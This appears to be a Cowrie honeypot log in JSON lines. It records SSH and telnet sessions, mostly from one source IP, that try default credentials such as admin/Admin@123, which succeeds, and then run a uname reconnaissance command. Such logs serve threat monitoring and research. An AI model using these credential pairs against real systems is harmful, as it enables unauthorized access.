{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:11.039897Z","src_ip":"176.65.132.254","session":"2648ca994d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38442,"dst_ip":"10.17.0.5","dst_port":22,"session":"a22358834087","protocol":"ssh","message":"New connection: 176.65.132.254:38442 (10.17.0.5:22) [session: a22358834087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:13.196748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:13.201912Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:13.285082Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:13.549213Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:14.289068Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:14.292658Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:14.377711Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:14.383493Z","src_ip":"176.65.132.254","session":"a22358834087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39600,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc734b09d75","protocol":"telnet","message":"New connection: 38.54.119.93:39600 (10.17.0.5:23) [session: fcc734b09d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:14.839403Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38450,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d7b5de75d3","protocol":"ssh","message":"New connection: 176.65.132.254:38450 (10.17.0.5:22) [session: 77d7b5de75d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:17.619431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:17.624243Z","src_ip":"176.65.132.254","session":"77d7b5de75d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:17.707169Z","src_ip":"176.65.132.254","session":"77d7b5de75d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:17.958738Z","src_ip":"176.65.132.254","session":"77d7b5de75d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:19.045352Z","src_ip":"176.65.132.254","session":"77d7b5de75d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44960,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e17678b3412","protocol":"ssh","message":"New connection: 176.65.132.254:44960 (10.17.0.5:22) [session: 8e17678b3412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:22.048448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:22.053619Z","src_ip":"176.65.132.254","session":"8e17678b3412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:22.151513Z","src_ip":"176.65.132.254","session":"8e17678b3412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:22.439543Z","src_ip":"176.65.132.254","session":"8e17678b3412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.70478391647339,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:22.993647Z","src_ip":"134.209.8.29","session":"2dbb92454390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:23.687230Z","src_ip":"176.65.132.254","session":"8e17678b3412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46092,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d2ba116f27","protocol":"telnet","message":"New connection: 38.54.119.93:46092 (10.17.0.5:23) [session: a2d2ba116f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:24.163720Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44972,"dst_ip":"10.17.0.5","dst_port":22,"session":"2479da3b306b","protocol":"ssh","message":"New connection: 176.65.132.254:44972 (10.17.0.5:22) [session: 2479da3b306b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:26.353055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:26.357831Z","src_ip":"176.65.132.254","session":"2479da3b306b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:26.440678Z","src_ip":"176.65.132.254","session":"2479da3b306b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:26.841984Z","src_ip":"176.65.132.254","session":"2479da3b306b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:28.149296Z","src_ip":"176.65.132.254","session":"2479da3b306b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44986,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ed03e3e660","protocol":"ssh","message":"New connection: 176.65.132.254:44986 (10.17.0.5:22) [session: 04ed03e3e660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:30.540229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:30.695604Z","src_ip":"176.65.132.254","session":"04ed03e3e660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:30.699348Z","src_ip":"176.65.132.254","session":"04ed03e3e660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:31.147349Z","src_ip":"176.65.132.254","session":"04ed03e3e660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:32.540900Z","src_ip":"176.65.132.254","session":"04ed03e3e660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32958,"dst_ip":"159.203.135.109","dst_port":23,"session":"673fda5d3340","protocol":"telnet","message":"New connection: 134.209.8.29:32958 (159.203.135.109:23) [session: 673fda5d3340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:33.273157Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4314ce872085","protocol":"ssh","message":"New connection: 176.65.132.254:41188 (10.17.0.5:22) [session: 4314ce872085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:34.879457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:34.887861Z","src_ip":"176.65.132.254","session":"4314ce872085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:34.971048Z","src_ip":"176.65.132.254","session":"4314ce872085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:35.250453Z","src_ip":"176.65.132.254","session":"4314ce872085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:36.340329Z","src_ip":"176.65.132.254","session":"4314ce872085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.388593912124634,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:37.828838Z","src_ip":"134.209.8.29","session":"b5ba0f02caba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e3fc0f55bf5","protocol":"ssh","message":"New connection: 176.65.132.254:41192 (10.17.0.5:22) [session: 2e3fc0f55bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:39.189677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:39.194790Z","src_ip":"176.65.132.254","session":"2e3fc0f55bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:39.277074Z","src_ip":"176.65.132.254","session":"2e3fc0f55bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:39.547203Z","src_ip":"176.65.132.254","session":"2e3fc0f55bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.78880262374878,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:39.680231Z","src_ip":"38.54.119.93","session":"eb0f9c8a9428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32970,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc478822aa3","protocol":"telnet","message":"New connection: 134.209.8.29:32970 (159.203.135.109:23) [session: dbc478822aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:40.104857Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:40.644693Z","src_ip":"176.65.132.254","session":"2e3fc0f55bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":60012,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25cea0a032d","protocol":"ssh","message":"New connection: 152.32.189.59:60012 (159.203.135.109:22) [session: c25cea0a032d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:42.067780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:42.075080Z","src_ip":"152.32.189.59","session":"c25cea0a032d","protocol":"ssh"}
